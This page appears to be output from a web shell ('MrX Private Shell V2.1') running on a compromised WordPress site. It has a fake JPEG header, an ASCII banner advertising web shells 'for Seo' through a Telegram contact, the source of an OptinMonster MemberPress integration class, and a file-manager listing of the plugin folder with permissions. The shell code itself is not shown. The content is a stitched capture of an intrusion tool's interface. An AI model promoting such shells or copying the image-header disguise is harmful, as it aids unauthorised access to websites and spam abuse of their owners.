����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* MemberPress class.
*
* @since 2.13.0
*
* @package OMAPI
* @author Eduardo Nakatsuka
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* The MemberPress class.
*
* @since 2.13.0
*/
class OMAPI_MemberPress extends OMAPI_Integrations_Base {
/**
* Holds the OMAPI_MemberPress_Courses class instance.
*
* @since 2.13.0
*
* @var OMAPI_MemberPress_Courses
*/
public $courses;
/**
* Holds the OMAPI_MemberPress_ProductEducation class instance.
*
* @since 2.13.5
*
* @var OMAPI_MemberPress_ProductEducation
*/
public $education;
/**
* The minimum MemberPress version required.
*
* @since 2.13.0
*
* @var string
*/
const MINIMUM_VERSION = '1.9.39';
/**
* Primary class constructor.
*
* @since 2.13.0
*/
public function __construct() {
parent::__construct();
// Set our object.
$this->courses = new OMAPI_MemberPress_Courses( $this );
$this->education = new OMAPI_MemberPress_ProductEducation();
if ( self::is_active() && self::is_minimum_version() ) {
add_filter( 'optin_monster_campaigns_js_api_args', array( $this, 'add_args' ) );
add_filter( 'optin_monster_api_setting_ui_data', array( $this, 'add_args' ) );
wp_enqueue_style(
$this->base->plugin_slug . '-memberpress',
$this->base->url . 'assets/dist/css/memberpress.min.css',
array(),
$this->base->asset_version()
);
$this->education->add_meta_box();
}
}
/**
* Check if the MemberPress plugin is active.
*
* @since 2.13.0
*
* @return boolean
*/
public static function is_active() {
return defined( 'MEPR_PLUGIN_SLUG' ) && class_exists( 'MeprCptModel', true );
}
/**
* Return the MemberPress Plugin version string.
*
* @since 2.13.0
*
* @return string
*/
public static function version() {
return defined( 'MEPR_VERSION' ) ? MEPR_VERSION : '0.0.0';
}
/**
* Adds the `memberpress` object to payload, which is passed to the JS frontend.
*
* @since 2.13.0
*
* @param array $args This is the array of parameters that will be passed to the JS file.
* @return array $args The array with the `memberpress` payload.
*/
public function add_args( $args ) {
$args['memberpress'] = array(
'groups' => self::format_data( $this->retrieve_mp_data( 'MeprGroup' ) ),
'memberships' => self::format_data( $this->retrieve_mp_data( 'MeprProduct' ) ),
'isActive' => self::is_active(),
'isCoursesActive' => OMAPI_MemberPress_Courses::is_active(),
'checkoutTemplateEnabled' => self::isProTemplateEnabled( 'checkout' ),
);
$args['memberpress'] = array_merge( $args['memberpress'], $this->courses->get_args() );
return $args;
}
/**
* Format data to be consumed by the front-end admin output settings.
*
* @since 2.13.0
*
* @param array $payload The data to be formatted.
* @return array The formatted data
*/
public static function format_data( $payload ) {
$data = array();
if ( empty( $payload ) || ! is_array( $payload ) ) {
return $data;
}
foreach ( $payload as $entity ) {
$data[] = array(
'value' => $entity->ID,
'label' => $entity->post_title,
'name' => $entity->post_title,
);
}
return $data;
}
/**
* Retrieve MemberPress model data.
*
* @since 2.13.0
*
* @param string $model The entity model name.
* @return array The array model data.
*/
private function retrieve_mp_data( $model ) {
// Bail if MemberPress isn't currently active.
if ( ! self::is_active() || ! self::is_minimum_version() ) {
return array();
}
$data = MeprCptModel::all( $model );
if ( empty( $data ) ) {
return array();
}
return $data;
}
/**
* Determine if a "pro" template is enabled.
*
* @param string $name The template name.
* @return boolean True if enabled.
*/
public static function isProTemplateEnabled( $name ) {
if ( ! class_exists( 'MeprOptions', true ) ) {
return false;
}
$options = MeprOptions::fetch();
$attribute = 'design_enable_' . $name . '_template';
return ! empty( $options->$attribute ) && filter_var( $options->$attribute, FILTER_VALIDATE_BOOLEAN );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|